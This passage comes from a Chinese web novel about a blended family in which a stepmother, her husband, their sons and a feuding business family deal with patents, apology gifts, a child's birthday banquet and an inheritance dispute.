“你这个哥哥到底还是比沈介舟那个后爸当的尽职多了。” 林叙白骤然抬眸,眼睛亮亮的,他感觉对方这话这是彻底相信了他。 他嘴边顿了顿,很少这么袒露真心,“他是我弟弟。” “对啊,到底是有血缘。” 就算只有半边,但也算有血缘。 就是比沈介舟这个外人来的更亲密些对吧。 纪悠看着人一眼,突然笑了笑,“我签好了你也签吧。” 林叙白看了一眼,发现纪悠签名的位置是在后面,两人签文件次数多,是绝对不可能做出这种低级错误才对。 所以…… 林叙白看向纪悠,纪悠也看着他,“毕竟是你的第一个设计,第一个专利,第一作者当然要你来,我能能做主就好了。” 至于到时候签的合约,她不占大头,也要五五分。 说起来纪悠也不免抱怨,“因为你是未成年,麻烦我的事多的很,我总不能都白跑。” 所以五五分账,很公平。 林叙白没有意见,于是两人在这次的短暂交流中达成统一。 等事情办完之后,两人和陆砚泉告别,林叙白坐在纪悠车子里,到底是比之前的尴尬气氛好了很多。 他想,可能也是她的那句‘你比沈介舟强些’。 在事情发生之后,他想办法进了陆家院子,但是沈叔叔什么都没做,也没弥补,现在也还是好几天没见面。 所以这应该也是他能这么快求得原谅的原因之一。 林叙白嘴角勾起,心底有被原谅的欣喜,也有对沈叔叔的愧疚。 远在公司的沈介舟隐约察觉到有人在念叨他,因为自从上次之后,他的右眼皮就一直没停过。 他按住眼皮,掩盖心底的心慌。 “没准只是太累了呢。” 沈介舟摇头,“时间太不对了。”不然他也不会心慌这么久了。 “我让你拿的东西你拿了吗?” “你是说那个小学生的卡片对吧。” 颜乐完全没想到有一天,他也能看到沈介舟这么费尽心思的讨好一个小孩。 还是用投其所好的方式。 他直接拿出来,“你看这就是你说的那种卡片。” 沈介舟瞧了几眼,其实他也不知道对不对,只是曾经在接人的时候,听向晨在车上聊起过。 现在打开看了一眼,只觉得,他果然还是不太懂现在的小孩。 但如果按照他的喜好来,会给人送钢笔。 “我记得我当初没钱读书,看见老师手里有个漂亮钢笔,都觉得好羡慕。” 颜乐还是第一次听人提起小时候的事,就这么一句话也能看出来不少东西。 “小时候你的成绩一定很好吧。” “学校里只有六名学生,所以也分不清谁好谁坏,只是知道我自己每次都能考满分就是了。” 颜乐:“……” 他这个从小学习就差的要死的听到这种话,只有种莫名的不舒服的感觉。 他有合理的理由觉得对方这是在炫耀。 “钢笔放弃吧,我家孩子和关系这么好,送这玩意都不行。” 沈介舟:“……” 这话虽然犀利难听,但是确实是在事实。 因为不懂这玩意怎么玩的,所以沈介舟收起来的动作也小心翼翼地,生怕给人弄坏了。 因为上次送蛋糕赔罪的效果不太好,所以这次赔罪他只能取个巧,挑个纪悠不在的时候去接人。 这时候刚天黑,纪向晨现在在陆家一般都待到这个时间,放学一会,但也不会到天黑,让孩子走了危险。 沈介舟也见过这位明阿姨,只能说是个非常聪明的学者,教导过无数的高材生出来。 至于性格,他见到对方的时候总是板着脸。 想来是个铁面无私性格的。 或许向晨很害怕在她手底下学习也说不定,沈介舟抿唇,实际上,他当然还是想把孩子的养育权彻底要回来的。 纪向晨在旁边敲了敲车窗,沈介舟用遥控在前面打开车门。 向晨喜欢坐在副驾驶,因为可以看到前面的路段和风景。 沈介舟给人带了两袋炸串,纪向晨尝了一口,只觉得香是香,但是味道怎么怪怪的。 “不是我经常吃的那家了吗?” “东西在外面吃不是很好。”就沈介舟看到的,在里边的,就有浮灰跑到食材上来了。 就光看见的就这么多,这其中还有这么多看不见的。 所以他只能自己做了。 “这肉肠是我用鸡胸肉一点点剁碎,然后用肠衣一点点填近去的,煮过再炸过。” 他打听过了,小孩子都爱吃这些,为了凸显诚意,这些东西都是他自己做的,都没让旁人搭手。 就连材料用的都是最健康最好的。 他看过去,几乎是用眼神询问‘做的怎么样?’ “难怪我感觉味道和我昨天吃的不一样了。” “味道怎么样?” “……一般。” “那看来我还有很大的进步空间。” 纪向晨皱着眉头,疑惑都写在脸上了,沈介舟什么时候这么对过他。 这件事太稀奇了有没有。 沈介舟想到他要道歉,但是道歉的人却根本不知道为什么,从头到尾,都是他和她之间的对话。 至于向晨,早在背九九乘法表的时候就已经困的昏天倒地了。 就连他抱着人去床上盖被一连串的时候之后也一点醒来的意思都没有。 他真的是很羡慕这样的睡眠质量就是了。 沈介舟笑了笑,但他依然要给人道歉,他从始至终要道歉的原因,他想都是为了自己心底的那份不平静吧。 “车子前面那盒子里的东西,打开来看看吧。” 纪向晨诧异地瞪大眼睛,“天呐,礼物吗?” 除了妈妈之外,这还是别的人这么精心准备礼物给他。 还是这么精致的盒子。 他咳嗽两声,还装作矜持的说了一嘴,“送东西就直接送好了,还搞这么多乱七八糟的干嘛呀。” 纪向晨虽然这么说,但手上也是一点都不含糊,既然说要他打开来看,那就他打开来看。 然后发现是他最喜欢的小卡。 还是珍藏版的! 纪向晨震惊地左看右看,只要是以前从来都没见过他后爸对他这么好啊,一边是吃的,一边是玩的,都快给他备齐了。 今天是什么日子?不对,应该说是后爸今天怎么这么奇怪。 难道说是沈介舟也意识到他们两个该是忘年交才对了吗? 沈介舟:“……” 这个成绩差的事真的不想再听了,但是要他坦白,和向晨之后说话恐怕就变得更难了。 所以他一时间进退两难,有点不知道说什么才好了。 他选择换一个切入点,“你看看桌上的牌一共有多少张?” 他打的主意是先问个数学问题然后把话题转到教学上去。 而纪向晨觉得这简直在小瞧他。 这种盒子一般一盒里面是七个,然后有六个盒子,所以是接近四十二个。 沈介舟震惊向晨的成绩怎么突然变得这么好了,这就是向晨天天这么辛苦早出晚归的结果吗? 一种无力感袭满全身,因为他以前其实以为谁来都不行。 除非她亲自来。 毕竟向晨是这么的听她的话,旁人的话都不肯听的。 但没想到陆家是能让人学会的,这代表着,没有任何解释的理由,他就是教人的能力不足。 他刚开始的时候一直在想着他教一个三年级的还是绰绰有余的。 结果没想到最后的差别这么大。 她的想法是对的,他居然再一次的,在对待向晨的想法中表现出了他作为大人的傲慢吗? 沈介舟捏了捏眉心,歉疚地看了向晨一眼。 第 39 章 更新 沈介舟看了向晨一眼, 看到人一直在弄小卡忍不住露出抹笑。 至少他的这些投其所好还算有点用处。 “向晨,你喜欢什么体育活动?” 纪向晨突然抬头,敏锐的察觉到什么, 毕竟当时他可是和沈介舟一起听的家长会。 “为什么不问我喜欢什么艺术?” 沈介舟想了想,“因为你身高高, 而且你平日里也只往体育场跑,而不是往音乐教室跑。” 纪向晨觉得这回答勉强过关吧,他把同样的卡收拾出来, 然后看了一眼沈介舟道。 “至少现在不行, 现在你至少得让我把期末考试考完吧。” 不然一连学两样东西, 不得把他累的够呛。 沈介舟点头, “看来你对期末考试的成绩很有信心。” 纪向晨觉得那是当然,他现在的成绩绝对是突飞猛进。 他指着沈介舟说道,“士别三日, 当刮目相看, 我们这都多少个三日了。” 所以沈介舟该对他刮目相看多少回了。 沈介舟愣了一下, 向晨这阵子的学习每次都在刷新他的了解,这下居然连古文也会应用了? 他诧异地瞧人一眼,得到个得意的笑。 其实他只会这种话来着,因为这种话昭然都给他讲过, 但是这种话,他就没必要跟后爸说了。 纪向晨得意地哼哼两声, “如果我说我想打篮球你就能给我找到老师。” 沈介舟点头,这点小事他还是做的到的。 只是到时候他还需要问下纪悠。 因为这事关向晨的教育问题, 说实话,就他的话,实在是有些做不了主的。 “那你这么着急问我干嘛?你该先去问我妈呀。” 沈介舟抿嘴, 其实他倒也想问,但是可能是不敢面对吧,两人已经很久没见到面了。 要么他不在,要么她不在。 反正两人是没有多少沟通的时间的,就连孟姨都看出了点什么,一连准备了好几顿饭。 孟姨真的是很贴心,但如果是需要破冰的情况下的话,孟姨的这种贴心简直让他更难办了。 连个借口都找不到。 就比如今天,八点半,他坐在前厅看着房门就明白这是又不回来吃饭的意思了。 他回到房间,电话铃声突然响起。 他的房间里都是固话,知道他房间内电话的人应该不多,但这次却是个陌生号码。 他接起来下意识‘喂’了一声,“你好。” “沈总,你好。” “……许总。” 这个许总可不是许清则,而是许清则的哥哥许绍兴,难怪这电话是海外的号码。 他能听出来主要也是因为他早有预料。 “许总打电话来是为了什么?” “我想你应该知道才对。”见沈介舟不怎么回应,许绍兴也给了点暗示,“我听说沈总结婚了,结婚的对象还是自己好兄弟的妻子,这是为了孩子的表面夫妻?” 沈介舟闻言搓了搓手指,明白了对方的潜台词,“就算是表面夫妻那也是我的妻子。” 这是要维护的意思,对面当然明白。 许绍兴感到头疼,“你把对方当做妻子,对方可不一定把你当作丈夫。” 据他所知,纪悠已经一连在许清则的病房里照看了好几天。 虽然没有同住,但也有同吃的情况。 这种举止,算是亲密。 甚至有些搞暧昧的意思,很明显,这是纪悠在为自己找下家的意思啊。 沈介舟垂眸,这也是为什么,他觉得许绍兴一定会打电话过来的原因就是了。 “她是在生气。” “生气什么?” “因为我在家里偏心林墨前妻的儿子,忽略了他的儿子,所以她才想要用许清则来朝我发脾气。” 所以,这是他家的家事。 和要离婚再嫁和许清则站在一起没有关系。 许绍兴明白了这话,也不免感叹这副说法确实高明。 因为他既然打探,那自然是把几人的关系打探的清清楚楚,包括那个长子不是纪悠亲生的这点。 “就因为这种家事,就影响自家生意,接连造成利益损失?” 这句话含着明显的试探,但沈介舟也不是吃素的,他选择回击,“这很合理啊,毕竟你们家不也是这样吗?” 为了家事,不也弄的影响生意了吗? 甚至还差点搞出了人命。 许绍兴不怕许清则,因为许清则就算混账了些,但到底心软有界限,也做不出多疯狂的事。 但沈介舟不同,就算他看起来比许清则温和守礼有界限的多,但如果要动了他在意的。 那绝对会和你拼个你死我活。 不知道为什么,许绍兴就是有这种感觉。 所以他妥协了,“那就希望沈总早点和妻子解除误会,阖家欢乐了。” “那就感谢许总的祝福了。” 两人又虚伪客套了一番沈介舟才挂掉电话,他的电话自带录音功能,但给她听,事情也不会发生任何改变吧。 因为她想做的事,从来都是认定的。 他原先是觉得许清则构不成威胁的,但是现在,他有些不这么确定了。 如果按照她的思路的话。 许清则的父亲死了,如果还能再帮助他拿到遗产的话,那说不准向晨分到的会比在他这的还要多。 那这种心态,不光是感情还有利益上面的双重动摇。 沈介舟扶额,努力忽略心口的那点异样的感觉。 —— 纪悠眉眼弯起,她想她很少露出这样的表情,这是发自内心的笑。 因为她刚刚才谈成了一笔稳赚不赔的交易。 交易的内容还用合同拟订好了,纪悠抬手给人握了一下,随后说道,“合作愉快。” “我这次可真是把身家性命都托付给你了,所以你也不要用这么轻飘飘的一句话来说吧。” “说的多,一般都意味着做的少,怎么?你希望我那样吗?” 许清则很显然的怂了,“那就不用了。” 纪悠满意地点头,拿了文件就打算开车回家,在开车的过程中她仔细地检查了一下车子。 没办法,她现在有生命威胁,谨慎点也是应该的。 不过这事对于一个来自末世的研究员,到底还是太专业对口了。 纪悠回到家打开灯,随便吃了一点晚饭后看到桌上的字条,上面是沈介舟的字迹。 ‘麻烦来找我一下,有事要聊。’ 对于这种邀约纪悠接受良好,至少这样,也不用让他一个人坐在沙发上吓人了。 至于进沈介舟房间? 纪悠敲了敲房门,“没关系吗?就这么放我进去。” 沈介舟:“你之前不是已经进过了吗?” “那次是事发突然。” 沈介舟昏迷了,她又不想让人搬进自家房间,又不能让人在屋外睡着吓到孩子。 所以只是无奈之举,和现在有选择的情况还是不一样的。 沈介舟原先不让人进门是因为房间里确实放着不少工作机密和试验样本,现在看来,这些东西,在她眼里应该是一文不值。 所以他之前的提防,倒显得有些可笑了。 沈介舟苦笑一下,明白她的不满。 他打开门,“我出去,或者你进来聊?” “既然你邀请我,那我就进去吧。” 毕竟在外面就是站着,纪悠今天忙了一天,还没有自讨苦吃的习惯。 她坐在沙发上,然后看了沈介舟一眼。 “找我有什么事?” “能不要再支持许清则的事业了吗?” 纪悠感到好笑,“是害怕破产?” “不是,是我不想你浇入这滩浑水里面。” 许清则和他哥哥,现在看起来已经不是威胁的程度了,恨不得来个不死不休的境地。 她实在没必要,卷入这场家庭斗争吧。 如果真的受伤了,那岂不是得不偿失? 沈介舟不明白,纪悠这个利益至上的脑子应该不至于想不到这层才对啊,为什么还要深陷其中。 难不成这里面是有感情的因素不成,沈介舟闭上眼,随即悄悄地捂住心口。 纪悠明白了沈介舟的意思,但她只是摇头说了一句,“晚了。” 因为就在刚刚,她又破坏了许绍兴的一个计划。 许清则在医院,原本只是在高级病房安静修养,没有保镖,没有单纯的厨师,但是就在今天下午,他差点被假医生在点滴里面下药。 因为纪悠敏感度太高,这事被她发现,然后把人直接按在地上,还叫了警察来。 她想,这已经相当于和许清则站在一边了吧,走不走不脱的那种程度。 “还不晚的。” 沈介舟揉着眉心,总算明白许绍兴今天为什么要专门给他打电话了。 如果发生了这档子事,那打电话就完全不稀奇了。 “我已经把这事说成是家事,所以只要你现在不接触许清则,事情就还来得及。” “所以我才说…确实晚了啊。” 她已经和许清则达成合约了。 “什么意思?” “意思是我会保护他,还会让他拿到遗产那该有的一部分。” 沈介舟攥紧拳头,所以说果然,她还是把许清则当成是拿不到遗产的向晨。 现在还要帮人,把该有的那一份给拿到? “这样冲动对你来说有点得不偿失了。” “这可不一定。” 经此一事之后,许清则明白这事不到他彻底放弃遗产是不可能罢休了。 这时候,许清则向她坦诚,如果没有这笔遗产想要转行是没可能的,因为他没有收入,一直以来靠的也都是家里的救济。 所以说他需要她的帮助。 这个帮助也包括保护他的人身安全,这可不是个简单的活计和生意。 所以她也提出了个合理的要求,那就是要拿走属于他的,在新公司的一半的股份。 两人以后在利益上实现均摊,实现共赢。 这种巨额收益?怎么可能让她放弃啊。 除非,“你可以从你的股份中分一半给我?” 第 40 章 更新 沈介舟垂眸, 记得两人拥有婚前协议,所以现在,“如果我分一半给你你就会离开许清则吗?” 纪悠挑眉, 真是作弊啊。 搞反问那一套。 她微微收拢手掌,回忆起在病房里签的那份合约。 不想放弃, 所以,“不会。” 沈介舟闭上眼,除了感受到深刻的麻烦之外, 还有的是心脏的酸楚。 明明两人是新婚夫妻, 但现在关系好像越来越远了。 沈介舟眼睛黑沉沉的, 最后才闪过一丝光亮, “向晨今天说的是要学习打篮球?” 纪悠鲜少地感受到稀罕,“是向晨自己说的吗?” “对,他还让我去找老师。” 纪悠对待向晨, 从来都是支持他的所有决定, 那么, 想要好好学习的决定也算一个。 她对沈介舟露出鲜少的笑容,“那就辛苦你了。 毕竟她来的晚,对于这里什么人什么事都不如沈介舟清楚。 但随即她又觉得她有别的要补充的,“孩子这阵子的学习已经够忙的了, 不如让他寒假再仔细的参与学习好了。” 沈介舟突然笑了一下,大概是笑在了解向晨上, 她真的算是第一。 随即沈介舟咳嗽两声,收敛起笑容。 然后问, “那你有什么想要问我的吗?” “没有。” 这答案太过果决,颇有想早点结束聊天的架势。 语气无波无澜,让他都不知道纪悠是不是不知道叙白进他的实验室的事。 如果不知道的话, 也就更不用提想来他的实验室这点了。 毕竟她现在也算摊牌,也算是和他合作,那更换实验室这个事就不显得突兀,他的实验室距离家里还更近些呢。 当然这一切都建立在她不知道的情况下,如果她知道,那就是刻意地在和许清则保持联系。 “过几天应该是向晨朋友陆昭然的生日,一般都会设置生日宴,我和你到时候一起出席。” 纪悠对此倒不反驳,“是该好好感谢一下的。” 她好奇地问,“是在陆家吗?” “不是,在许家。” 纪悠撇撇嘴,想起陆家确实不喜欢搞这些花里胡哨的东西,但是许清则很喜欢,而且是作为社交场所。 早就知道了不是吗?他可不算是个好爸爸。 既然要参加宴会,那穿的要好看些,还有向晨的朋友,这可是从小到大独一遭。 她打算带向晨去买件衣服和一些礼物。 纪向晨牵着手在她旁边一蹦一跳的,“礼物的话,我都准备好了。” 这还要拖他后爸的福。 “那就买身衣服。” 纪悠首先想到的就是小西装,给小孩子至少要配上一件正装吧,最好还要定制,向晨量了一下身高在一米三五。 这个年纪这个身高,难怪想打篮球了。 “妈妈,我还以为只是借口来陪我出来玩的呢,没想到还真是纯买衣服啊。” 这两者并不冲突。 纪悠表示,“那可以量完再去玩啊。”本身这次的出门就非常悠闲。 只是她刚走出门,就看见林叙白朝着这方向来。 作为生日宴会上哥哥的朋友,他当然也还有个合适的衣服,而这个衣服,西装是最合适的。 他走的靠近了些,“真巧。” “巧个毛。” 纪向晨可是好久都没和妈妈一块出来了,现在还来个不速之客! “后爸带你来的吗?” “我自己来的。” 纪向晨意外的瞪大眼,林叙白他能付得起钱,纪悠对这点倒是不意外,毕竟林叙白在专利上的战绩是她都认可的。 不说大富大贵,挣点专利的钱还是能买件西装的。 于是纪悠上下扫了人一眼故意问,“需要记在我的账上吗?” “不用了。” “那你准备的钱应该不够哦,毕竟明天就要能穿的话,钱可是要加倍的啊。” 纪悠从口袋里掏出那该多出来的一半,这也算是他给出之后专利的一点奖赏了。 纪向晨不服气的看人一眼,但到底没说什么。 “妈妈不需要做衣服吗?我看到那边有女装来着。” “不用了,妈妈有衣服。” 她觉得不需要这么隆重,她先前参加的那些剪彩礼的衣服就挺合适。 结果等她回到家,发现门口放了件礼服,不能进去房间,又在这个家里,想也知道是谁了。 倒没想到沈介舟会想到这个。 仔细一瞧,和他习惯穿的西装颜色还是差不多的,所以他是打着什么主意。 她在等电话,但随即电话也没响起那她就更不可能穿了。 隔日,纪悠去到宴席。 她穿着搭配好的长袖长褂,看了一眼沈介舟,故意朝他晃了晃酒杯。 沈介舟叹了口气,“是衣服不太合身吗?” “差不多吧。” 其实只要是压抑,而且搞不懂沈介舟打的是什么主义。 沈介舟叹了口气,他想和人穿情侣装,自然是希望这件事能够让徐绍兴知道,但是现在…… 沈介舟叹了口气,握紧了手里的酒杯。 首先出现在心底的是片刻的茫然,随即视线看向纪悠的手,颇为迟疑。 他有牵上去的冲动,但又害怕。 总感觉下一秒就会被甩开来。 然后之后这只手就被另外一只小手给牵上了,这只小手的主人不做他想。 纪向晨稀奇的不行,“我记得电视剧里面就是这样的绅士邀请公主去跳舞的。” “绅士可不会把偷吃的蛋糕留在嘴上。” 纪向晨把嘴擦擦,然后嘿嘿一笑,他看着妈妈身上一点装饰也没,嫌弃地看了一下后爸。 但他下一秒,看见妈妈在和许清则遥遥对视,又忍不住在一只手握住妈妈的同时又握住了沈介舟。 沈介舟深吸口气,他的第一想法是实在是帮大忙了。 这样至少,在外人眼中,他们已经足够亲密,在许绍兴眼中,两人的关系也已经破冰。 他给纪悠切了块蛋糕,还有向晨也有。 宴席很快就开始了,说是主人翁,但其实就是个陪衬的,以往他身体不好是这样,现在身体好了还是这样。 陆昭然明白他这个吉祥物的作用,最后觉得还不如生病的时候呢,至少那时候,不用被拉出来应付人。 此刻看着几人一个个的在交流,只能挂着尴尬而不失礼貌的微笑。 比被哥哥盯着学习还累人。 纪向晨就是这时候出现的,他拉住人说要送人生日礼物,陆昭然连连拍着胸口,“你这出现的时间和我们商量好的,比起来也太晚了吧。” 他们原先商量好的,他一到现场就把他拉出来一起玩。 这样大小的年纪,就算是这样,也没人能说什么的,但偏偏他等了这么久的人都不来,他简直都要怀疑对方忘了。 简直把他吓死了。 闻言纪向晨切了声,“没办法,我家里的问题更大。” 要说了解纪向晨家里的情况,陆昭然敢说第二,没人敢说第一。 所以他坦然的接受了。 “把你的礼物交出来。” 纪向晨说,“我准备了三份,我自己有一份,我后爸有一份,我妈在陪我逛商场的时候也挑了一份。” 他大手一挥,颇有给他包圆的架势。 陆昭然瞪大眼,这还是他第一次看到还有全家人帮他准备礼物的情况呢,当然除了林叙白。 “你穿西装出现在我的生日宴席上也算一份。” 其实陆昭然表示也不是他想说的,但实在是向晨的暗示太明显了,让他不忽视也不行啊。 纪向晨得意地展了展袖子,“好看吧,我妈给我买的。” “确实一眼就能看出是阿姨的眼光。” 但是,不对,看着向晨乐呵的表情,陆昭然突然想到了今天是他的生日吧,但是现在却让他来哄人。 但随即他又给自己达成了宽慰,行吧,朋友之间从来不用在意这么多。 纪向晨提起这件衣服也不光光是炫耀这是妈妈给他买的,还有的是他想说这是他绅士邀请妈妈的,还在这个场面上,又给他后爸加了个分。 毕竟两人是朋友,且都不想朝着兄弟的方向去转变。 所以两人的目标是一致的。 两人在拐角,提起这事又恨铁不成钢的看了一眼沈介舟。 沈介舟在拐角处喝着果汁,他在宴会上一直这样,大家也都习惯了。 颜乐有时候会在中间和大伙一起开心开心,有时候则是会跑到角落里和沈介舟说两句。 就比如现在颜乐有点好奇的问道,“你们一家人之间感情怎么变得这么好了?” 沈介舟看了人一眼,眼底暗含安心的意味。 “这就好。” “什么意思?” “意思是你知道了意味着大部分的宾客就都知道了。” 这样就能传到许绍兴耳朵里了,沈介舟单手支着茶台,然后跟颜乐说了一下近期发生的事。 颜乐也是一点就通,“意思是你要保护‘保护许清则的弟妹’。” 这句话有点绕,但沈介舟听懂了。 他点头,“是这样没错。” “那如果许绍兴因为伤害许清则然后波及到了弟妹,你也会报复他的是吗?” 沈介舟沉默,并不否认这点。 颜乐深吸一口气,原先他以为沈介舟照顾林墨的孩子就已经够冤大头了,没想到他还能再冤大头一点。 他端起蛋糕,“你看见这块蛋糕上的绿叶了吗?” 沈介舟不理解,但点点头。 绿色的,甜腻的奶油味道,他想,里面应该放了色素。 颜乐不客气的继续道,“用你头顶上的颜色染的。”《 》 40-50 第 41 章 更新(修) 绿帽子? 沈介舟瞥开眼, 他想说他们和普通的夫妻不同,但心底又希望和普通的夫妻相同。 所以话说不出口,只有沉默。 “假如你是我, 你会怎么做?” 颜乐还真有点被问住了,他托着下巴, 开始认真思考。 如果他是沈介舟,想照顾人家遗孀,不会用结婚的方式, 如果真用了, 那就该用正常的婚姻去面对。 而不是纯纯为了孩子。 沈介舟哑口无言, 他想他可能从开始那一步就走错了。 但现在, 也不是全然没有挽回的机会对吧。 —— 林叙白站在许言疏身边,他并不知名,也并不眼熟, 有人问起, 许言疏也不离开, 只和林叙白站在拐角。 就他看来,现在谁都不如林叙白有价值。 但他也有不自在的地方。 许言疏算是宴会的半个主人,他习惯了瞩目,只有林叙白的眼神让他有些不自在。 因为林叙白的眼神没有他习惯的所有情绪, 只是关注,而这份关注还不是因为他本身。 “你这阵子来学习, 可把我弟弟昭然折腾地够呛。” 林叙白闻言面露困惑,“我并没有折腾你弟弟?” “我说的是眼神, 你老用奇怪的眼神看他。” 而昭然又最害怕这点了。 林叙白这点没法否认,他一直想看这兄弟俩之间是怎么相处的。 不自觉的就把视线投过去了。 “替我和你弟弟说声抱歉。” “我替你解释过了。” 林叙白也不含蓄,“那多谢。” 许言疏看人一眼, 觉得他这阵子观察也观察不出个什么来,就算观察出来了,他不行动也是没辙。 他作为兄弟和合作伙伴,还是给了个衷心的劝告。 “有话还是直说的好。” 要知道,在去学习的几天中,林叙白张口说话的次数简直屈指可数。 只有对弟弟的学习鼓掌的时候用心了,这和一个观众一样,能有什么用? 林叙白不回答,从现在这表情,也不知道是听进去了,还是没听进去。 许言疏单手插兜,有片刻无言。 随即陆昭然来找来,“哥,你去帮我说几句致谢词可以吗?” 以往这种角色都是许言疏承担的,但现在陆昭然的身体没这么差了。 所以许言疏画了一条线,“我替你开个头,剩下的你自己来。” “好,关键是演讲的时候你要站我旁边。” 不然他一个人,可要害怕死了。 两人走了,没伴的纪向晨和林叙白理所当然地站在一起。 纪向晨看天看地就是不看他。 林叙白想了想,“没想到我们的衣服居然选成了同款。” 纪向晨撇撇嘴,“本来就是最畅销的。” 他当时就看中了那个展柜里的了,至于穿的人多也无所谓,他理所当然地该是那个最帅的。 他得意地拽了拽小领结,然后察觉到什么地抬起下巴,“你该不会是故意找话题和我聊天吧。” 林叙白一顿,显然没想到向晨这么直白。 “是这样没错。” 纪向晨也吓了一跳,他回过神来‘切’了一声,但光单字也表明不了他的态度,“我都听昭然说了他老看他的事了。” 很吓人知不知道。 也不知道林叙白长了一双黑沉沉地眼干嘛,看人总觉得阴恻恻的。 尤其人还不怎么阳光。 “对你也造成困扰了吗?” “那当然!”纪向晨左看右看,只觉得浑身不自在,有些话他需要和林叙白说明白。 “你该不会以为我们俩能像普通的兄弟那样吧?” 林叙白骤然抬眸,他在想,“为什么,不可以?” “从你把我妈妈的行为误会成恶意的时候就不可以了。” 那时候妈妈为了林叙白不被嘲笑,关注林叙白的时间比关注他的时间还多。 结果林叙白还觉得妈妈是后妈的虚情假意。 从那时候,两人的关系就不能和亲兄弟一样了。 这种兄弟之间的隔阂是破不开的。 林叙白笑不出来,但他此刻也想从哥哥的角度去说一句,“向晨,你长大了。” “那还用说。” 纪向晨很自得,他这阵子的学习可不是白学的。 “但如果我们不是兄弟,那很有可能就是关系不好的仇人了,你做好和我为敌的准备了吗?” 纪向晨有些许炸毛,“有你这样的吗?” 兄弟做不成就改用威胁得了? 林叙白点头,“我就是这样的。”果然和睦的兄弟相处或许对他们俩确实没有用。 一直以来他在人面前扮演的确实都是恶人的角色。 包括先前让他站在沈叔叔这边也是。 都是用的威胁。 纪向晨咽了下口水,他当然知道林叙白的聪明,他昂起下巴颇有点色厉内荏的味道,“所以你想干嘛?” 林叙白没正面回答他,他说这话自然也有他的目的。 “但我们也不是非当敌人不可的对吧?” 他们可以先是朋友兄弟,不是亲人兄弟,那就是先从朋友做起。 林叙白想明白了,两人之间的关系确实可以循序渐进。 他从口袋里拿出试卷,“你这阵子很为即将到来的期末考试发愁吧,我知道你想为她争一口气,那这个我想你还是收下的好。” 纪向晨迟疑地看来看去,他还是信任林叙白的学习水平的。 他原先被林叙白的那种口吻吓了一跳,最后听来听去,还是听出来求和的意味。 那他收下也没什么大不了的吧。 反正他确实很难在期末考试中一下子崛起惊艳众人了。 进步二三十名,也会被别人说进步了这么一点真是辛苦了。 可恶! 纪向晨收下试卷,“那我们之间,现在勉强算是朋友了吧。” 林叙白轻轻一笑,虽然朋友这个词很浅显,但对向晨来说,向晨本来就没几个朋友,除去昭然,那就剩他了。 所以这怎么不算是一种战略上的成功。 过了一会许言疏和陆昭然回来了,许言疏明显感受到身边压抑地人的情绪变了,他稀罕地左看右看,此刻是真的有点可惜的意味了。 早知道他就不站在上面,早点回来好了。 但他弟弟也绝对不会同意的就是了。 他视线投向台上的爸爸,这是最后的一次演讲了,等爸爸的演讲结束,就是宴席的正式结束了。 许清则原先是想邀请纪悠一起上台的,但纪悠以这样太张扬了为由拒绝掉了。 她的意思是她毕竟还是沈介舟的妻子,总要在外人面前稍微维护一下对方的脸面。 所以许清则只能叹了口气,表示可惜。 他的人身安全可是遭受着前所未有的威胁呢,结果纪悠小姐这个半保镖的人物居然不在身边。 不知怎地啊,有她在的地方就是格外有安全感。 所以当她昨日深夜想要离开的时候,许清则那是一万个不安心,“你知道吗?就在昨天,我的保镖们发现了一个定时装置。” “是吗?得亏你这样都没想到还手。” 许清则撇了撇嘴,他也得有还击的手段才行啊。 “所以你现在真不能留在别墅里面吗?” 纪悠还没说话呢,沈介舟先看不过眼了,握住他的手腕把人掰扯开来,“不能。” “沈总,你这可是在阻拦她的事业。” 毕竟他死了,那合企的事情就算彻底没可能了,这怎么不算是耽误对方的事业。 “如果真有那天的话,那我会补偿。” 许清则原本想嘲笑沈介舟的痴人说梦,他的这点家底怎么能和他爸妈的比。 但是如果两人合作,完全占领了国内的汽车市场,这也不是没可能的事。 所以他又闭上了嘴。 “真羡慕沈总的家境简单。” 沈介舟深深地看了许清则一眼,最后什么话都没说。 纪悠则是打了个哈欠,她当然是想走的,应当没人想加班吧。 更别提许清则暂时也没回击的手段。 如果他真的在这种手段下死了,也只能说一句他可能真的没这个命吧。 所以她是无所谓的。 沈介舟坐上车,沉默不言,他不像把面对许清则的糟糕情绪带给她,所以努力勾起一抹笑。 “两个孩子今天还有作业没做,所以等会我会再来接,或者让司机过来接。” 纪悠点头,“这种事交给你安排吧。” “向晨的篮球老师已经找到了,时间也已经安排好了。” 纪悠这次是回都懒得回了。 空气寂静半晌,最后纪悠忍不住道,“除了孩子之外,你就没有其他想说的吗?” 沈介舟顿了一下,随后他直言道,“我以为你只在意这些。” “也不是吧,毕竟我还是挺好奇你和许清则对话的最后一句话的。” 家人吗? 沈介舟眯起眼,想起刚刚许清则的挑衅。 因为许清则知道他家是怎么回事,虽然没钱,但糟心事一点都不少。 甚至还不如许清则,许清则只是不被疼惜,但是自家的孩子好歹还是给了一定的爱的。 就只有他家,只有一地鸡毛。 包括吸血的亲戚和神经病的去世父母。 他的家里的事纪悠已经猜的八九不离十了才对,于是沈介舟疑惑地眼神看过去。 纪悠:“……” 不对,“我是说你要补偿的那句话。”如果许清则真的死了,沈介舟到底要怎么补偿给她? 关于这点,她很好奇。 第 42 章 更新 “我可以给你我所持有的一半股份。” 纪悠知道她曾经签的那份合约有财产分割的意思, 现在沈介舟打算把这份文件作废。 但是挺可惜的,纪悠叹了口气,“我觉得许总这次暂时输不了了。” “你就这么确定?” 纪悠想到她了解到的消息, “对,许清则爸妈已经订了航班了。” 她给他父母打过电话了, 现在人既然愿意来,那代表着他们对许清则最近的成功还是好奇的。 因为溺爱,他们的大儿子也是庸才一个。 唯一擅长的就是搞内斗, 上次他做主的合作给公司损失了三个亿, 这个时候的三个亿, 还是很值钱的。 所以也因为公司的亏损, 才会下手这么快准狠。 以往就算弄点小动作,也只是小打小闹。 这是第一次,上升到人身安全上面去。 沈介舟深沉着眼, “你都替许总考虑好了才打算走的?” “差不多吧。” 沈介舟心底不是滋味, 但他也知道纪悠这样做无可厚非。 “等我占据了国内市场, 不会比许清则家里差的。” 前些年,就是因为许清则哪怕亏了钱也要打压他所以才会只有如今的规模。 他想他应该更有钱才对。 纪悠看了人一眼,“等你真占据了再说也不迟。” 现在的沈介舟,比起剧情里描述的首富级别, 还是少了些份量。 说完纪悠也不管沈介舟什么反应,只专注的放在明天的事上了。 上面说是许清则父母的航班是早上八点到, 那恐怕明天要早点起才行了。 这对于赖床人士简直是个灾难。 —— 纪悠来的晚了两个小时,她不在的整个过程中, 许清则说什么也不过去。 他旁边站着的就是许绍兴。 可以说是仇人见面,分外眼红,许绍兴想起父母的警告就更是一肚子火, 所以此刻看着自家弟弟也是摆不出什么好脸色。 